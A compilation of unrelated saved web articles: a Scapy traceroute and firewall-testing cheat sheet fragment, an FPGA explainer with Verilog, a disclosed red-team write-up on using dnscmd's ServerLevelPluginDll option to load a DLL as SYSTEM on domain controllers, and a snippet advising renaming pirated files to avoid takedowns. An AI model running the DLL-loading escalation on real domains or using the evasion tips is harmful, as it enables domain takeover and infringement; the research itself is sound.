    7  4.68.18.62      11 
    8  4.68.123.6      11 
    9  4.2.2.1         RA 
    10 4.2.2.1         RA 
    ...
    
[/code]

We can perform a DNS traceroute by specifying a complete packet in _l4_
parameter of _traceroute\(\)_ function:

[code]

    >>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
    Begin emission:
    ..*....******...******.***...****Finished to send 30 packets.
    *****...***...............................
    Received 75 packets, got 28 answers, remaining 2 packets
       4.2.2.1:udp53      
    1  192.168.1.1     11 
    4  68.86.90.162    11 
    5  4.79.43.134     11 
    6  4.79.43.133     11 
    7  4.68.18.62      11 
    8  4.68.123.6      11 
    9  4.2.2.1            
    ...
    
[/code]

Similarly, IP Fragment traceroute can be emulated with this command:

[code]

    >>> res,unans = sr(IP(dst="4.2.2.1", ttl=(5,10), flags="MF")
    ...                /UDP(sport=RandShort( ), dport=53), timeout=125)
    
[/code]

_Note:_ I couldn't produce Type 11 Code 1 \(Time Exceeded During Reassembly\)
ICMP error.

# Firewall/IDS Testing

## TCP Timestamp Filtering

Many firewalls include a rule to drop TCP packets that do not have TCP
Timestamp option set which is a common occurrence in popular port scanners. To
allow Scapy to reach target destination additional options must be used:

[code]

    >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))
    
[/code]

# Local Privilege Escalation

Shell commands can be executed with the same privileges as scapy:

[code]

    >>> os.system("id")
    uid=0(root) gid=0(root) groups=0(root)
    
[/code]

# External Links

_Published on January 31st, 2010 by iphelix_

# How FPGAs work, and why you'll buy one

**Created:**| _6/19/2013 8:34:42 PM_  
---|---  
**Updated:**| _6/23/2013 7:33:01 AM_  
**Author:**| __  
**Tags:**| _bookmark hardware fpga tutorial_  
  

# **H** ow FPGAs work, and why you'll buy one****

June 17th, 2013 | hardware 
Today, pretty much everyone has a CPU, a DSP and a GPU, buried somewhere in
their PC, phone, car, etc**.** Most don't know or care that they bought any of
these, but they did**.**

Will everyone, at some future point, also buy an FPGA**?** The market size of
FPGAs today is about 1% of the annual global semiconductor sales \(~$3B vs
~$300B \)**.** Will FPGA eventually become a must-have, or will its volume
remain relatively low**?**

We'll try to answer this question below**.** In order to see how popular FPGAs
could become, we'll need to discuss what FPGAs are**.** FPGAs are a
programmable platform, but one designed by EEs for EEs rather than for
programmers**.** So for many programmers, FPGAs are exciting yet mysterious; I
hope our discussion will help demystify them**.**

We'll start with a common explanation of FPGAs' relatively low popularity**.**
We'll see why that explanation is wrong - and why, if we take a closer look,
we actually come to expect FPGAs to blow the competition out of the
water**\!**

This will conclude today's installment, "Why you'll buy an FPGA"**.** A sequel
is in the making, titled "Why you _won't_ buy an FPGA"**.** There, we'll see
some of the major obstacles standing between FPGAs and world domination**.**

**The oft-repeated wrong answer**

…to the question of "why aren't FPGAs more popular**?** " is, "FPGA is a poor
man's alternative to making chips**.** You can implement any circuit design in
an FPGA, but less efficiently than you could in an ASIC or a custom
design**.** So it's great for prototyping, and for low-volume products where
you can't afford to make your own chips**.** But it makes no sense for the
highest-volume devices - which happen to add up to 99% of sales, leaving 1% to
FPGAs**.** "

This is wrong because programmability is a feature, not just a tax on
efficiency**.**

Of course a Verilog program doing convolution on an FPGA would run faster if
you made a chip that runs just that program**.** But you typically don't want
to do this, even for the highest-volume products, any more than you want to
convert your C programs running on CPUs into dedicated hardware**\!** Because
you want to change your code, run other programs, etc**.** etc**.**

When programmability is required - which is extremely often - then the right
thing to compare FPGAs to is another programmable platform: a DSP, a GPU,
etc**.** And, just like FPGAs, all of these necessarily introduce some
overhead for programmability**.** So we can no longer assume, a priori, that
any one option is more efficient than another - as we did when comparing FPGAs
to single-purpose ASICs**.**

We need benchmarks - and FPGAs' performance appears very competitive in some
benchmarks**.** Here's what BDTI's report  from 2007 says:

> …we estimated that high-end FPGAs implementing demanding DSP applications …
> consume on the order of 10 watts, while high-end DSPs consume roughly 2-3
> watts**.** Our benchmark results have shown that high-end FPGAs can support
> roughly **10 to 100 times** more channels on this benchmark than high-end
> DSPs…
So for that benchmark, FPGAs offer 10x-100x the runtime performance, and
2x-30x the energy efficiency of DSPs - quite impressive**\!**

But wait - how are they so efficient**?**

**FPGAs are no longer FPGAs  
**

Aren't FPGAs Field-Programmable Gate Arrays**?**

Programmable gate arrays can't multiply as efficiently as dedicated
multipliers, can they**?** A dedicated multiplier is a bunch of gates
connected with wires - the _specific_ gates that you need for multiplying,
connected _specifically_ to the right other gates as required for
multiplication**.**

A programmable gate array is when your gates are _generic_**.** They index
into a truth table \(called a look-up table or LUT\) with their inputs, and
fetch the answer**.** With a 2-input LUT, you get an OR gate or an AND gate or
whatever, depending on the truth table you programmed**.** With 3-input LUTs,
you can have a single gate computing, say, \(a&b\)|c, but the principle is the
same:

<img src='img/Temp2_4006.png' />

This absolutely must be bigger and slower than just an OR gate or an AND
gate**\!**

Likewise, wires go through programmable switch boxes, which connect wires as
instructed by programmable bits:

<img src='img/Temp2_4002.png' />

There are several switch box topologies determining which wires can be
connected to which**.** But whatever the topology, this must be bigger and
slower than wires going directly to the right gates**.**

All this is indeed true, and a "bare" FPGA having nothing but programmable
gates and routers cannot compete with a DSP**.** However, today's FPGAs come
with _DSP slices_ \- specialized hardware blocks placed amidst the gates and
routers, which do things like multiply-accumulate in "hard", dedicated
gates**.**

So _that's_ how FPGAs compete with DSPs - they have DSP hardware in them**\!**
_Cheating,_ isn't it**?**

Well, yes and no.

It's "cheating" in the sense that FPGAs aren't really FPGAs any more -
instead, they're arrays of programmable gates _plus all that other stuff_**.**
A "true FPGA" would look like this:

<img src='img/Temp2_4007.png' />

Instead, a high-end modern FPGA looks like this:

<img src='img/Temp2_4005.png' />

To be competitive in DSP applications, FPGAs need DSP slices - ALUs doing
things like multiply-accumulates**.**

To be competitive in applications needing a CPU - which is most of them -
today's FPGAs have more than just specialized ALUs**.** They have full-blown
ARM cores implemented using "hard", non-programmable gates**\!**

So you've been "cheated" if you thought of FPGAs as "clean slates" suitable
for any design**.** In reality, FPGAs have specialized hardware to make them
competitive in specific areas**.**

And you can sometimes guess where they're less competitive by observing which
specializations they lack**.** For instance, there are no "GPU slices", and
indeed I don't believe FPGAs can compete with GPUs in their own domain as they
compete with DSPs**.** \(Why not simply add GPU slices then? Here the plot
thickens, as we'll see in the follow-up article**.**\)

But of course having DSP slices is more than just "cheating" \- because look
at just how many DSP slices FPGAs have**.** The cheapest FPGAs can do
**hundreds** of mutliply-accumulates simultaneously**\!** \(My drawing above
has the wrong scale - imagine hundreds of small DSP slices near a couple of
much larger CPUs**.**\)

And hundreds of MACs is a big deal, because while anyone can cram a load of
multipliers into a chip, the hard part is to connect it all together, letting
a meaningful program actually _use_ these multipliers in parallel**.**

For instance, TI's C64 DSPs can do 8 MACs per cycle - but only if it's a dot
product**.** TI's C66 DSPs can do 32 MACs/cycle - but only if you're
multiplying complex numbers**.** You only get the highest throughput for very
specific data flows**.**

To the extent that the FPGA architecture lets you actually use an order of
magnitude more resources at a time, and do that in more real-life examples, it
is a rather unique achievement**.** And this is how they actually _beat_
dedicated DSPs with their DSP slices, not just reach the same performance**.**

**FPGA as a programmable accelerator architecture**

So what makes FPGAs such an efficient architecture**?** There's no simple
answer, but here are some things that FPGAs can use to their advantage:

  * **No need for full-blown ALUs for simple operations** : a 2-bit adder doesn't need to be mapped to a large, "hard" DSP slice - it can fit comfortably in a small piece of "soft" logic**.** With most processors, you'd "burn" a full-blown ALU to do the simplest thing**.**
  * **No need for a full _cycle_ for simple operations**: on FPGAs, you don't have to sacrifice a full cycle to do a simple operation, like an OR, which has a delay much shorter than a full cycle**.** Instead, you can feed OR's output immediately to the next operation, say, AND, without going through registers**.** You can chain quite a few of these, as long as their delays add up to less than a cycle**.** With most processors, you'd end up "burning" a full cycle on each of these operations**.**
  * **Distributed operand routing** : most processors have their ALUs communicate through register files**.** With all the ALUs connected to all the registers, there's a bottleneck - this interconnect grows as the product of the number of ALUs and registers, so you can't have too many of either**.** FPGAs spread ALUs and registers throughout the chip, and you can connect them in ways not creating such bottlenecks - say, as a long chain, as a tree, and in many other ways**.** Of course you can also route everything through a bottleneck, and then your design will run at a low frequency - but you don't have to**.** With CPUs or DSPs, they run at a high frequency - because the amount of ALUs and registers was limited to make that frequency possible**.** But in FPGAs you can get _both_ high frequencies and a lot of resources used in parallel**.**
  * **Distributed command dispatching** : a 2-issue or a 6-issue processor is common, but 100-issue processors are virtually unheard of**.** Partly it's because of the above-mentioned operand routing, and partly it's because of command dispatching - you'd have to fetch all those commands from memory, another bottleneck**.** In FPGAs, you can implement command-generating logic in simple state machines residing near your ALUs - and in the simplest case, commands are constants kept in registers residing near ALUs**.** This lets you easily issue 100 parallel instructions**.**

This "distributed" business is easier to appreciate by looking at an
example**.** Here's a schematic implementation of a 1D convolution on an FPGA
- you convolve a long vector v with an N-coefficient filter f, computing, at
every i, f0\*v\[i\] + f1\*v\[i-1\] + f2\*v\[i-2\] + … + fN-1\*v\[i-N-1\]:

<img src='img/Temp2_4004.png' />

In this drawing, N=8, but it scales easily to arbitrary N, producing results
at a slightly larger latency - the summation tree depth being log\(N\)**.**

The orange boxes are registers; commands like + and \* are stored in
registers, as are inputs and outputs**.** \(I'm feeding the output of \* to +
directly without going through a register to save screen space**.**\) Every
clock cycle, inputs are fed to ALUs, and the outputs become the new register
values**.**

Orange boxes \(registers\) spread amongst green boxes \(ALUs\) illustrate
"distributed operand and command routing"**.** If you wonder how it all looks
like in code, Verilog source code corresponding to this drawing appears near
the end of the article**.**

And here's a linear pipeline without a summation tree:

<img src='img/Temp2_4003.png' />

This is a little trickier, at least to me \(I had a bug in my first drawing,
hopefully it's fixed\)**.** The idea is, every pair of ALUs computes a product
of fk with v\[i-k\], adds it to the partial sum accumulated thus far, and
sends the updated partial sum downstream to the next pair of ALUs**.**

The trick is this. The elements of v are also moving downstream, together with
the sums. But after v\[i\] got multiplied by f0, you _don't_ want to multiply
it by f1 in the next cycle**.** Instead, you want to multiply _v\[i-1\]_ by f1
- that's the product that we need for the convolution at index i. And then you
_do_ want to multiply v\[i\] by f1 _once cycle later_ \- for the convolution
at index i+1**.** I hope that my sampling of v\[i\] to an intermediate
register, which delays its downstream motion, does the trick**.**

So these two examples show how FPGA programming is different from programming
most kinds of processors - and how it can be more efficient**.** More
efficient, because you can use a lot of ALUs simultaneously with little
overhead spent on dispatching commands and moving inputs and outputs between
ALUs**.** An argument can be made that:

  * **FPGAs are more flexible than SIMD/SIMT****.** You can give different instructions to different ALUs, and you can route operands from different places**.** Contrast this with SIMD instructions like add\_16\_bytes, with byte i always coming from offset i inside a wide register**.**
  * **FPGAs scale better than VLIW/superscalar**.**** More instructions can be issued simultaneously, because there's no routing bottleneck near the register file, and no instruction memory bandwidth bottleneck**.**
  * **FPGAs are more efficient than multiple cores****.** Multiple cores are flexible and can scale well. But you pay much more overhead per ALU**.** Each core would come with its own register files and memories, and then there are communication overheads**.**

This gives us a new perspective on LUTs and switch boxes**.** Yes, they can be
an inefficient, cheaper-to-manufacture alternative to dedicated gates and
wires**.** But they are also a mechanism _for utilizing the "hard" components
_spread in between them - sometimes better than any other mechanism**.**

And this is how FPGAs beating DSPs with the help of DSP slices isn't
"cheating"**.** \(In fact, mature DSPs "cheat" much more by having ugly,
specialized instructions**.** Far more specialized than FPGAs' multiply-
accumulate, dot product instructions being among the least ugly**.** And the
reason they need such instructions is they don't have the flexibility of
FPGAs, so what FPGAs effectively do in software, they must do in hardware in
order to optimize very specific data flows**.**\)

**I/O applications  
**

But wait - there's more**\!** In addition to being a hardware prototyping
platform and an accelerator architecture, FPGAs are also uniquely suited for
software-defined I/O**.**

"Software-defined I/O" is the opposite of "hardware-defined I/O" \- the common
state of things, where you have, for instance, an Ethernet controller
implementing some share of TCP or UDP in hardware**.** Software-defined I/O is
when you have some programmable hardware instead of dedicated hardware, and
you implement the protocols in software**.**

What makes FPGAs good at software-defined I/O**?**

  * **Timing control:** Verilog and other hardware description languages give you more precise control over timing than perhaps any other language**.** If you program it to take 4 cycles, it takes 4 cycles - no cache misses or interrupts or whatever will get in your way unexpectedly**.** And you can do a whole lot in these 4 cycles - FPGAs are good at issuing plenty of instructions in parallel as we've seen**.** This means you don't have to account for runtime variability by buffering incoming data, etc**.** \- you know that every 4 cycles, you get a new byte/pixel/etc**.** , and in 4 cycles, you're done with it. This is particularly valuable where "deep" buffering is unacceptable because the latency it introduces is intolerable - say, in a DRAM controller**.** You can also do things like generating a clock signal at a desired frequency, or deal with incoming clock signal at a different frequency than yours**.**
  * **Fine-grained resource allocation** : you "burn" a share of FPGA resources to handle some peripheral device - and that's what you've spent**.** With other processor cores, you'll burn an entire core - "this DSP handles WiFi" \- even if the core is idle much of the time**.** \(The FPGA resources are also burnt that way - but you'll often spend less resources than a full processor core takes**.**\) Alternatively, you can time-share that DSP core - but it's often gnarly**.** Many kinds of cores expose a lot of resources that must be manually context-switched at an intolerably high latency**.** Core asymmetry gets in the way of thread migration**.** And with two I/O tasks, often none can tolerate being suspended for a long while, so you'll definitely burn two cores**.** \(One solution is hardware multithreading.\)

The upshot is that relatively few processors other than FPGAs are suitable for
software-defined I/O**.** The heavily multi-threaded XMOS  is claimed to be
one exception**.** Then there are communication processors such as the
hardware-threaded Qualcomm Hexagon DSP  and the CEVA-XC DSPs **.** But these
are fairly specialized; you couldn't use them to implement a memory controller
or an LVDS-to-parallel video bridge, both of which you could do with an
FPGA**.**

And of course, FPGA's I/O capabilities can be combined with computation
acceleration - get pixels and enhance the image color on the fly, get IP
packets with stock info and decide which stocks to trade on the fly**.**

Programmable, efficient, and versatile, FPGAs are starting to sound like a
great delivery platform**.**

**Summary**

There are several points that I tried to make**.** Some are well-known
truisms, and others are my own way of looking at things, which others might
find debatable or at least unusually put**.**

  * While FPGA are a great **small-scale circuit delivery platform** , they can also be a **large-scale software delivery** **platform****.** You can think of FPGAs as "inefficiently simulating circuits"**.** But in other contexts, you can also think of them as "efficiently executing programs"**\!**
  * Instead of fixed-function gates and wires connecting specific gates to each other, FPGAs use programmable gates - configured by setting a truth table of choice - and programmable switch boxes, where incoming wires are connected to some of the other wires based on configuration bits**.** By itself, it's very inefficient compared to a "direct" implementation of a circuit**.**
  * Then how can FPGAs beat, not just CPUs, but specialized accelerators like DSPs in their own game**?** The trick is, **they're no longer FPGAs** \- gate arrays**.** Instead, they're also arrays of RAMs and DSP slices**.** And then they have full-blown CPUs, Ethernet controllers, etc**.** implemented in fixed-function hardware, just like any other chip**.**
  * In such modern FPGAs, the sea of LUTs and switch boxes can be used not instead of fixed-function circuits, but as **a force multiplier** letting you make full use of your fixed-function circuits**.** LUTs and switch boxes give two things no other processor architecture has**.** First, the ability to use **less than a full-blown ALU** for simple things - and **less than a full clock cycle****.** Second, **distributed routing of commands and operands** \- arguably more flexible than SIMD, more scalable than superscalar execution, and more efficient than multiple instruction streams.
  * FPGAs are the ultimate platform for **software-defined I/O** because of their timing control \(if I said 4 cycles, it takes 4 cycles\) and fine-grained resource allocation \(spend so many registers and ALUs per asynchronous task instead of dedicating a full core or having to time-share it\)**.**

With all these advantages, why just 1% of the global semiconductor sales**?**
One reasonable answer is that it took FPGAs a long time to evolve into their
current state**.** Things FPGAs have today that they didn't have in the past
include:

  * **Fixed-function hardware** essential for performance - this gradually progressed from RAM to DSP slices to complete CPUs**.**
  * **Quick runtime reconfiguration** , so that you can run convolution and then replace it with FFT - which you can't, and shouldn't be able to do, if you're thinking of FPGA as simulating one circuit**.**
  * **Practically useable C-to-Verilog compilers** , letting programmers, at least reasonably hardcore ones, who nonetheless aren't circuit designers, to approach FPGA programming easily enough**.**

All of these things cater to programmers as much or more than they cater to
circuit designers**.** This shows that FPGAs are gunning for a position in the
large-scale software delivery market, outside their traditional small-scale
circuit implementation niche**.** \(Marketing material by FPGA vendors
confirms their intentions more directly**.**\)

So from this angle, **FPGAs evolved from a circuit implementation platform
into a software delivery platform****.** Being a strong programmable
architecture, they're expected to rise greatly in popularity, and, like other
programmable architectures, end up everywhere**.**

**Unanswered questions**

As a teaser for the sequel, I'll conclude with some questions which our
discussion left unanswered**.**

Why do FPGAs have DSP slices and full-blown "hard" CPUs**?** Why not the other
way around - full-blown DSP cores, and some sort of smaller "CPU slices"**?**
Where are the GPU slices? And if rationing individual gates, flip-flops and
picoseconds instead of full ALUs, registers and clock cycles is so great, why
doesn't everyone else do it**?** Why do they all break up resources into those
larger chunks and only give software control over that**?**

Stay tuned for the sequel - "How FPGAs work, and why you won't buy one"**.**

**P.S. Programmable - how?**

So how do you program the programmable gate array**?** Talk is cheap, and so
are Microsoft Paint drawings**.** Show me the code**\!**

The native programming interface is a hardware description language like
Verilog**.** Here's an implementation of the tree-like convolution pipeline in
Verilog - first the drawing and then the code:

<img src='img/Temp2_4004.png' />

[code]

    **module** conv8(clk, in_v, out_conv);
      _//inputs & outputs:_
      **input** clk; _//clock_
      **input**[7:0] in_v; _//1 8-bit vector element_
      **output****reg**[18:0] out_conv; _//1 19-bit result_
    
      _//internal state:_
      **reg**[7:0] f[0:7]; _//8 8-bit coefficients_
      **reg**[7:0] v[0:7]; _//8 8-bit vector elements_
      **reg**[15:0] prod[0:7]; _//8 16-bit products_
      **reg**[16:0] sum0[0:3]; _//4 17-bit level 0 sums_
      **reg**[17:0] sum1[0:1]; _//2 18-bit level 1 sums_
    
      **integer** i; _//index for loops unrolled at compile time_
    
      **always** @(**posedge** clk) **begin** _//when clk goes from 0 to 1_
        v[0] <= in_v;
        **for**(i=1; i<8; i=i+1)
          v[i] <= v[i-1];
        **for**(i=0; i<8; i=i+1)
          prod[i] <= f[i] * v[i];
        **for**(i=0; i<4; i=i+1)
          sum0[i] <= prod[i*2] + prod[i*2+1];
        **for**(i=0; i<2; i=i+1)
          sum1[i] <= sum0[i*2] + sum0[i*2+1];
        out_conv <= sum1[0] + sum1[1];
      **end**
    **endmodule**
[/code]

This example shows how "distributed routing" actually looks in code - and the
fine-grained control over resources, defining things like 17-bit
registers**.**

And it's fairly readable, isn't it**?** Definitely prettier than a SIMD
program spelled with intrinsics - and more portable \(you can target FPGAs by
different vendors as well as an ASIC implementation using the same source
code; it's not trivial, but not hopeless unlike with SIMD intrinsics, and
probably not harder than writing actually portable OpenCL kernels**.**\)

Incidentally, Verilog is perhaps the quintessential object-oriented language -
everything is an object, as in a physical object: a register, a wire, a gate,
or a collection of simpler objects**.** A module is like a class, except you
can't create objects \(called instantiations\) dynamically - all objects are
known at compile time and mapped to physical resources**.**

Verilog insists on _encapsulation_ as strictly as it possibly could: there's
simply no way to set an object's internal state**.** Because how could you
affect that state, physically, without a wire going in**?** Actually, there
_is_ a way to do that - the usual instance.member syntax; hardware hackers
call this "an antenna", because it's "wireless" communication with the
object's innards**.** But it doesn't synthesize - that is, you can do it in a
simulation, but not in an actual circuit**.**

Which means that our example module is busted, because we can't initialize the
filter coefficients, f. In simulations, we can use antennas**.** But on an
FPGA, we'd need to add, say, an init\_f input, and then when it's set to 1, we
could read the coefficients from the same port we normally use to read v's
elements**.** \(BTW, not that it adds much efficiency here, but the "if" test
below is an example of an operation taking less than a cycle**.**\)

[code]

    **always** @(**posedge** clk) **begin**
      **if**(init_f) **begin**
        f[0] <= in_v;
        **for**(i=1; i<8; i=i+1)
          f[i] <= f[i-1];
      **end**
    **end**
[/code]

A triumph of encapsulation, it's also a bit of a pity, because there are now
actual wires and some control logic sitting near our coefficient registers,
enlarging the circuit, only to be used upon initialization**.** We're used to
class constructors "burning" a few memory bits; who cares - the bits are
quickly swapped out from the instruction cache, so you haven't wasted
resources _of your computational core_**.** But Verilog module initialization
"burns" LUTs and wires, and it's not nearly as easy to reuse them for
something else**.** We'll elaborate on this point in the upcoming sequel**.**

Not only is Verilog object-oriented, but it's also the quintessential language
for event-driven programming: things are either entirely static \(these here
bits go into this OR gate\), or triggered by events \(changes of signals, very
commonly a clock signal which oscillates between 0 and 1 at some
frequency\)**.** "always @\(event-list\)" is how you say what events should
cause your statements to execute**.**

Finally, Verilog is a parallel language**.** The "static" processes, like bits
going into OR gates, as well as "event-driven processes", like statements
executing when the clock goes from 0 to 1, all happen in parallel**.** Within
a list of statements, "A <= B; C <= A;" are non-blocking assignments**.** They
happen in parallel, so that A is assigned the value of B, and C is
simultaneously assigned the \(old\) value of A.

So, for example, prod\[i\]<=f\[i\]\*v\[i\] sets the new value of prod, and in
parallel, sums are computed from the old values of prod, making it a pipeline
and not a serial computation**.** \(Alternatively, we could use blocking
assignments, "=" instead of "<=", to do it all serially**.** But then it would
take more time to execute our series of statements, lowering our frequency, as
clk couldn't switch from 0 to 1 again until the whole serial thing
completes**.** Synthesis tools tell you the maximal frequency of your design
when they're done compiling it**.**\)

On top of its object-oriented, event-based, parallel core, Verilog delivers a
ton of sweet, sweet syntactic sugar**.** You can write + and \* instead of
having to instantiate modules with "adder myadd\(a,b\)" or "multiplier
mymul\(a,b\)" \- though + and \* are ultimately compiled down to module
instances \(on FPGAs, these are often DSP slice instances\)**.** You can use
if statements and array indexing operators instead of instantiating
multiplexors**.** And you can write loops to be unrolled by the compiler,
generate instantiations using loop syntax, parameterize your designs so that
constants can be configured by whoever instantiates them, etc**.** etc.

If all this doesn't excite you and you'd rather program in C, you can, sort
of**.** There's been loads of "high-level synthesis tools" \- basically C to
Verilog compilers - and their quality increased over the years**.**

You'd be using a weird C dialect - no function pointers or recursion,
extensions to specify the exact number of bits in your integers, etc**.**
You'd have to use various \#pragmas to guide the compilation process**.** And
you'd have things like array\[index++\] not actually working with a memory
array - and index++ not actually doing anything - because you're getting
values, not from memory, but from a FIFO, or directly from the output of
another module \(just like in\_v in our Verilog code doesn't have to come from
memory, and out\_conv doesn't have to go to memory**.**\)

But you can use C, sort of - or Verilog, for real**.** Either way, you can
write fairly readable FPGA programs.

****

# Feature, not bug: DNSAdmin to DC compromise in one line

**Created:**| _5/8/2017 8:17:56 AM_  
---|---  
**Updated:**| _5/8/2017 8:17:56 AM_  
**Author:**| __  
**Tags:**| _windows security DNS active directory_  
  

  

# Feature, not bug: DNSAdmin to DC compromise in one line

**Background**

In addition to implementing their own DNS server, Microsoft has also
implemented their own management protocol for that server, to allow for easy
management and integration with Active Directory domains. By default, domain
controllers are also DNS servers; DNS servers need to be reachable and usable
by mostly every domain user. This, in turn, exposes quite some attack surface
on domain controllers — on one part, the DNS protocol itself and on the other,
the management protocol, which is based on RPC.

We will shallowly delve into the protocol’s implementation and detail a cute
feature \(certainly not a bug\!\) which allows us, under some circumstances,
to run code as SYSTEM on domain controllers, without being a domain admin.
Although this is certainly not a security vulnerability \(so no panic is
needed\), as confirmed with Microsoft, it’s still a cute trick which can be
useful as an AD privilege escalation in red team engagements.

All presented information was gathered by reading the protocol specification
\(\[MS-DNSP\], https://msdn.microsoft.com/en-us/library/cc448821.aspx\) and
reverse engineering the dns.exe binary using IDA.

**DNS Server Management Protocol basics**

The management protocol layers on top of RPC, which, for this protocol’s
purposes, can be layered on top of either TCP or named pipes. If you’re
interested in messing around with the protocol or its implementation, it can
be found in domain controllers under c:\windows\system32\dns.exe. Its RPC
interface UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076 and it uses the
\PIPE\DNSSERVER named pipe for transport.

The DNS server runs as a service on domain controllers. The management
interface can be accessed by running dnsmgmt.msc and connecting to an AD DNS
server \(usually a domain controller\). It allows users to configure, among
other things, DNS zones, lookups, caching, forwarding and logging. Several
objects in this ‘hierarchy’ are securable — DNS server objects \(which are
_not_ computer accounts\), zone objects and records. In this case, we’re
interested in server objects, whose ACL on a fresh install should look
something like this:

<img src='img/Temp2_3133.png' width='66' height='75' /><img
src='img/1*rfkResD61E4PbEJn4CPb-g.png' width='401' height='461' />

default ACL for DNS server object

By default only DnsAdmins, Domain Admins, Enterprise Admins, Administrators
and ENTERPRISE DOMAIN CONTROLLERS have write access on this object. Notably,
from an attacker’s perspective, if we’re members of each group but DnsAdmins,
we’ve already owned the domain. So, let us see what we can do if we’ve got
ourselves a DnsAdmin.

* * *
...

**Hunting PDFs**

This is where the protocol specification comes to our aid. Section 3.1.4:
Message Processing Events and Sequencing Rules, basically details all
operations which the server needs to support. The first one is
R\_DnssrvOperation, which contains a pszOperation parameter, which determines
the operation performed by the server. While scrolling over the huge list of
possible pszOperation values, we see this:

<img src='img/Temp2_3132.png' width='75' height='7' /><img
src='img/1*JrwlgW1ZFaOw_rV3PI1B_g.png' width='700' height='81' />

Right, we can tell the server to just load a DLL of our choice\! Awesome\!
Upon searching the spec for ServerLevelPluginDll, we find the following useful
piece of information:

<img src='img/Temp2_3131.png' width='75' height='30' /><img
src='img/1*BGGuFHTA_z2jfSQX6prvFQ.png' width='700' height='294' />

Looks like the server does not even do any verification on the dll path
specified in this operation. Before starting to implement this, I figured
someone must have dug this up before. A google search for ServerLevelPluginDll
raised nothing of the sort, however it did pop up the useful dnscmd command
line tool, which I hadn’t known before.

Luckily, dnscmd already implements everything we need. A quick look at its
help message and another glance at https://docs.microsoft.com/en-us/windows-
server/administration/windows-commands/dnscmd give us the following option:

dnscmd.exe /config /serverlevelplugindll \\\path\to\dll

First, trying to run this as a weak domain user with no special permissions on
the DNS server object \(other than Generic Read, which is granted to all
members of the Pre-Windows 2000 Compatible Access group, which by default
contains the Domain Users group\), the command fails with an access denied
message. If we give our weak user write access to the server object, the
command no longer fails. This means that members of DnsAdmins can successfully
run this command.

Still lazy enough not to use IDA, trying to run this on a domain computer
running with a member of DnsAdmins while running process monitor and process
explorer on our DC, we see that no DLL is loaded into dns.exe’s address space,
as expected. We do see, however, that the following registry key is now
populated with the path we sent:

HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll.

Great. Now, for testing purposes, we restart the DNS server service. Whoops —
it fails to start, and clearing the registry key value allows it to start.
Apparently it needs something more from our DLL. Time to open IDA.

There are several possibilities to quickly reach the functionality we seek to
reverse in this case — searching for relevant strings and searching for
relevant APIs are usually the easiest and quickest. In our case, going through
all xrefs to LoadLibraryW or GetProcAddress gives us what we need — going
through the code of the function which LoadLibraryW’s our DLL and the one
function it is called from, we see that no validation is performed at all on
the path given to ServerLevelPluginDll.

The hurdle we’ve run into is indeed the only one — if either the DLL fails to
load, or it does not contain one of the DnsPluginInitialize, DnsPluginCleanup
or DnsPluginQuery exports, the service will fail to start. We also need to
make sure that our exports all return 0 \(success return value\), otherwise
they may cause the service to fail as well.

The pseudocode for the function responsible for loading the DLL is roughly as
follows:

[code]

    HMODULE hLib;  
    if (g_pluginPath && *g_pluginPath) {  
      hLib = LoadLibraryW(g_pluginPath);  
      g_hndPlugin = hLib;  
      if (!hLib) {...log and return error...}
[/code]

[code]

      g_dllDnsPluginInitialize = GetProcAddress(hLib, "DnsPluginInitialize");  
      if (!g_dllDnsPluginInitialize) {...log and return error...}  
      g_dllDnsPluginQuery = GetProcAddress(hLib, "DnsPluginQuery")  
      if (!g_dllDnsPluginQuery) {...log and return error...}  
      g_dllDnsPluginCleanup = GetProcAddress(hLib, "DnsPluginCleanup")  
      if (!g_dllDnsPluginCleanup) {...log and return error...}
[/code]

[code]

      if (g_dllDnsPluginInitialize){  
        g_dllDnsPluginInitialize(pCallback1, pCallback2);  
      }  
    }
[/code]

Here’s a quick PoC to demonstrate how the code for such a DLL should look
under Visual Studio 2015:

<img src='img/Temp2_3130.png' width='75' height='30' />

Sample code for our plugin dll

The pragmas are in place to modify the default export names to the ones that
we desire. To verify that our exports are good, we can use dumpbin /exports
path\to\dll.

Now we try running dnscmd with our new dll and voila, it works\! All we need
is to put our dll on a network path which is accessible by one of the domain
controllers’ computer accounts \(dns.exe runs under SYSTEM\) \(Read access for
the Everyone SID should do the job\), and we can run code as SYSTEM on a
domain controller, thus taking control of the domain.

While this demonstrates that it is possible to take over a domain if you’re a
member of DnsAdmins, it’s not limited to just that — all we need to
successfully pull off this trick is an account with write access to a DNS
server object. The ACLs for these objects are usually, from my experience, not
kept as clean or monitored as ACLs for domain admins \(or similar groups
protected by AdminSDHolder\), thus offering a nice chance for a small domain
elevation of privilege.

As also noted in the spec, this should work across all recent Windows Server
versions:

<img src='img/Temp2_3129.png' width='75' height='52' />

ServerLevelPluginDll support across OS versions

Microsoft’s MSRC have been contacted regarding this issue and have stated that
it will be fixed by basically only allowing DC administrators to change the
ServerLevelPluginDll registry key, and that it will be possible to toggle this
feature off in future releases.

Regardless, dns.exe currently still runs as SYSTEM and boasts a good amount of
attack surface, so it is probably a worthwhile candidate for some fuzzing —
both for the DNS implementation and the management interface.

* * *
...

_Disclosure timeline_

Mar. 31st — Initial disclosure to secure@microsoft.com.

Apr. 1st — Disclosure acknowledged and forwarded for review.

Apr. 8th — MSRC case 38121 opened.

May 2nd — Investigation concluded and ruled that this is not a vulnerability
and will be fixed in the future, outside a security update.

May 5th — Discussions regarding further hardening of the DNS server service.

May 8th — Findings are published.

Big thanks to MSRC’s Daniel for the handling of this case, was a pleasure to
work with.

All in all, reading Microsoft’s protocol specifications can be a useful
pasttime, even more so when you search for ‘DLL’ inside them :\)

Happy hunting\!

  

# web-searching essays: learning how to find anything on the web

**Created:**| _5/17/2009 6:58:21 PM_  
---|---  
**Updated:**| _5/17/2009 6:58:38 PM_  
**Author:**| __  
**Tags:**| _reversing_  
  
The "golden" searching essays  
A wealth of knowledge at your disposal\!  
---  
  *   

  * \[kane\_how\_2\_host.htm\]: How to Host Files on Free Services   
by  _~S~ Kane_ , March 2009  
part of the \[files repositories section\]  
"_...for instance if you are uploading a file named “adobephotoshop.rar”,
anyone who comes across that file anywhere on the web is going to have a good
idea of what is inside that file and can complain to have it taken down on
suspicion of pirated content. If on the other hand you renamed it
‘familyholidayphotos08.rar’ anyone coming across that file other than from
